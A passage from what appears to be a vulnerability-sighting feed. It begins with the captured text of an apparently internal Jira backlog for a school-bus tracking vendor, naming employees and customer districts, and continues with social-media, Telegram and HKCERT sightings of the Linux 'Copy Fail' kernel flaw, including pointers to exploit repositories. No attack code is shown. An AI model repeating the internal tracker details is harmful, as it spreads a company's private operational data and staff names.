Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                15 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 15\n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7561\n                      Denton, TX - Parent Portal App is not tracking buses\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7560\n                      Suffolk, call from parent experiencing tracking issues.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7559\n                      New Kent, parent portal not tracking\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7557\n                      New Hanover, Parent portal  tracking issues\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7556\n                      Jefferson, parent portal not tracking \n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7555\n                      Elyria-OH ,Parent Portal App don't track the bus.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7554\n                      Peoria, AZ - Parent Portal Down\n                      Brandon Donnelson\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7553\n                      Stanfield, AZ's Parent Portal is not working as of this morning.  Last reading 4:16am.  \n                      \u2014\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Blocker\n                    \n                    \n\n                      IM-7551\n                      SM Can't Send Messages to PP/PPL\n                      Boluwatife Olaifa\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7550\n                      Cleveland, OH - Not able to track buses - GPS tracking down\n                      Kehinde Metibemu\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7548\n                      Cobb County, GA - Severely Degraded Athena Performance\n                      Brandon Donnelson\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7547\n                      Rochambeau, MD - Busses 203/204 have not had movement in Parent Porta Lite since 7:30 PM on 4/27\n                      Josiah Brown\n                      Apr 29, '26\n                      May 4, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-2005\n                      Staging-epic-FR3-eks: Bell Time task creation throws ERROR_LOADING_CONTEXT\n                      Vader\n                      Apr 27, '26\n                      Apr 27, '26 (6d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (21d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (29d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (33d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (37d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (27d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (25d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (21d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (26d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (43d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 05, 2026 at 10:29 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-05T22:29:46.000000Z"}, {"uuid": "6e700d40-a13c-4f8e-9548-e387e733ce7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lobsters-feed.bsky.social/post/3ml5cmub6ma2m", "content": "CVE-2026-31431: Copy Fail vs. rootless containers https://lobste.rs/s/cvmqdt #security #linux ", "creation_timestamp": "2026-05-05T23:10:04.693912Z"}, {"uuid": "e14cf3da-9d42-4d0c-907e-19bb4ceced91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3ml5eurlg362r", "content": "Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/", "creation_timestamp": "2026-05-05T23:50:16.723849Z"}, {"uuid": "28d36022-21ed-4b66-bd3f-cae2abd7445a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/", "content": "Copy Fail (CVE-2026-31431) is a critical Linux kernel LPE that allows stealthy root access. This flaw impacts millions of systems. Read our analysis. The post Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years appeared first on Unit 42.", "creation_timestamp": "2026-05-05T21:00:33.000000Z"}, {"uuid": "25e338b1-1974-42c0-a918-972c1e59a7d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3ml5liblfaq32", "content": "Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years Copy Fail (CVE-2026-31431) is a critical Linux kernel LPE that allows stealthy root access. This flaw impacts millions o...\n\n#High #Profile #Threats #Vulnerabilities [\u2026] \n\n[Original post on unit42.paloaltonetworks.com]", "creation_timestamp": "2026-05-06T01:48:36.613161Z"}, {"uuid": "95437b5a-99fb-4000-b519-094db6921f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3ml5nsllfhs2z", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 561 interactions\nCVE-2026-41940: 122 interactions\nCVE-2026-3854: 42 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-41940: 40 interactions\nCVE-2026-31431: 21 interactions\nCVE-2026-23918: 12 interactions\n", "creation_timestamp": "2026-05-06T02:30:08.214164Z"}, {"uuid": "1dfa55bf-2d61-4572-9fef-f205174792e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Enkhsanaa/3dced2c7e31abcf1deac2dbb9674428c", "content": "", "creation_timestamp": "2026-05-06T03:15:36.000000Z"}, {"uuid": "c494a8c1-8093-4695-8274-4b5ed16a0836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3ml5sknsj6j2y", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\n\u300cLinux\u300d\u306b\u6975\u3081\u3066\u91cd\u5927\u306a\u8106\u5f31\u6027--\u300cCopy Fail\u300d\u767a\u899a\n\n\u5370\u5237\u3059\u308b \u30e1\u30fc\u30eb\u3067\u9001\u308b \u30c6\u30ad\u30b9\u30c8 HTML \u96fb\u5b50\u66f8\u7c4d PDF \u30c0\u30a6\u30f3\u30ed\u30fc\u30c9 \u30c6\u30ad\u30b9\u30c8 \u96fb\u5b50\u66f8\u7c4d PDF \u30af\u30ea\u30c3\u30d7\u3057\u305f\u8a18\u4e8b\u3092My\u30da\u30fc\u30b8\u304b\u3089\u8aad\u3080\u3053\u3068\u304c\u3067\u304d\u307e\u3059 \u300cCopy Fail\u300d\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u300cCVE-2026-31431\u300d\u306f\u30012017\u5e74\u304b\u3089\u6f5c\u4f0f\u3057\u3066\u3044\u305f\u300cLinux\u300d\u30ab\u30fc\u30cd\u30eb\u306e\u6df1\u523b\u306a\u8106\u5f31\uff08\u305c\u3044\u3058\u3083\u304f\uff09\u6027\u3067\u3042\u308a\u3001\u73fe\u5728\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u5927\u304d\u306a\u6ce8\u76ee\u3092\u96c6\u3081\u3066\u3044...\nhttps://japan.zdnet.com/article/35247165/", "creation_timestamp": "2026-05-06T03:55:10.303400Z"}, {"uuid": "21d70a98-aa46-4e6b-b143-b417dc725a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/thecascading.bsky.social/post/3ml5spvsvdz2p", "content": "\ud83d\udd34 Kernel \u6f0f\u6d1e\u53ef\u5bfc\u81f4\u672c\u5730\u63d0\u6743\uff1b\u8bf7\u5c3d\u5feb\u4fee\u590d\u6216 mitigate\u3002\n\n- \u6f0f\u6d1e\u4e0e kernel crypto API \u76f8\u5173\u3002\u5f71\u54cd 4.14 \u8d77\u7684\u5404\u4e2a\u7248\u672c\uff0c\u4e5f\u5c31\u662f\u76ee\u524d\u5e02\u9762\u4e0a\u7edd\u5927\u591a\u6570\u6b63\u5728\u8fd0\u884c Linux \u7684\u7cfb\u7edf\u3002\n- Ubuntu 26.04 (resolute)\u3001Debian 14 (forky) \u53ca Debian Sid \u7684\u6700\u65b0\u7248\u672c\u5185\u6838\u5df2\u4fee\u590d\u6b64\u95ee\u9898\u3002\u7136\u800c\uff0c\u7edd\u5927\u591a\u6570\u53d1\u884c\u7248/\u7248\u672c\u5c1a\u672a\u6709\u4fee\u590d\u3002 [2]\n- Mitigation \u65b9\u5f0f\u662f\u7981\u7528 algif_aead \u6a21\u5757\uff1b\u9884\u8ba1\u7edd\u5927\u90e8\u5206\u8f6f\u4ef6\u4e0d\u4f1a\u56e0\u6b64\u53d7\u5230\u5e72\u6270\u3002 [1]\n\nCVE: CVE-2026-31431 ... [1/2]", "creation_timestamp": "2026-05-06T03:58:06.068971Z"}, {"uuid": "6fd05cb4-e46d-49fc-b5af-67a873914f31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/winsontang.com/post/3ml5tp44i2k2u", "content": "CVE-2026-31431 highlights a critical vulnerability impacting rootless containers, exposing potential security risks. Understanding this \"copy fail\" issue is essential for maintaining robust container security. Stay informed and protect your environments! #Cybersecurity #DevOps", "creation_timestamp": "2026-05-06T04:15:32.548230Z"}, {"uuid": "d3fc1786-4296-4b03-a501-b335a93d414b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82994", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431-pythonlower3.10\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a OneDemobird\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-06 03:59:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\npython3.10\u4ee5\u4e0b\u6ca1\u6709os.splice\uff0c\u641e\u4e86\u4e00\u4e2a3.10\u4ee5\u4e0b\u7248\u672c\u4e5f\u53ef\u4ee5\u7528\u7684\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-06T04:00:04.000000Z"}, {"uuid": "d3707e18-4ef9-441f-9a97-32345eaca10a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/95995", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a SG-2026-0013\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TeamN4C\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-31 10:16:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 Copy Fail PoC and exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-31T12:00:03.891116Z"}, {"uuid": "8678f032-fa15-4588-8fd4-3c776e52912a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31570", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:50:19.639242Z"}, {"uuid": "1aa96d37-633d-4c4f-96e2-e5ec93e34860", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31576", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:50:22.295742Z"}, {"uuid": "f7ab6c1c-9364-4262-ad95-0eef01aa322d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31399", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:51:36.985515Z"}, {"uuid": "1454f40f-30e4-41b0-aeaf-1e89a8519637", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31578", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:50:56.988243Z"}, {"uuid": "ce15d4cc-64cb-41e6-8293-c9d3f63e83cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31580", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:50:59.208035Z"}, {"uuid": "a624ab08-bbf0-414f-a890-5d787c81496c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31446", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:52:12.550602Z"}, {"uuid": "dd2464af-4e3c-4c76-a3de-0239c86d42cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31466", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:53:22.666754Z"}, {"uuid": "2b45c83b-acca-4649-80dc-8971ff882ac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31489", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:53:25.944534Z"}, {"uuid": "7db96477-3dac-4af3-90ca-f8a585c944bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31508", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:54:39.353168Z"}, {"uuid": "ee853619-be56-4e27-bb88-2c3c875b32bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31389", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "2dd4c386-f2e5-42d8-9048-8fae89d0519b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31403", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "149350df-5c50-4bf3-8a23-1ff6d0fe8fca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31405", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", 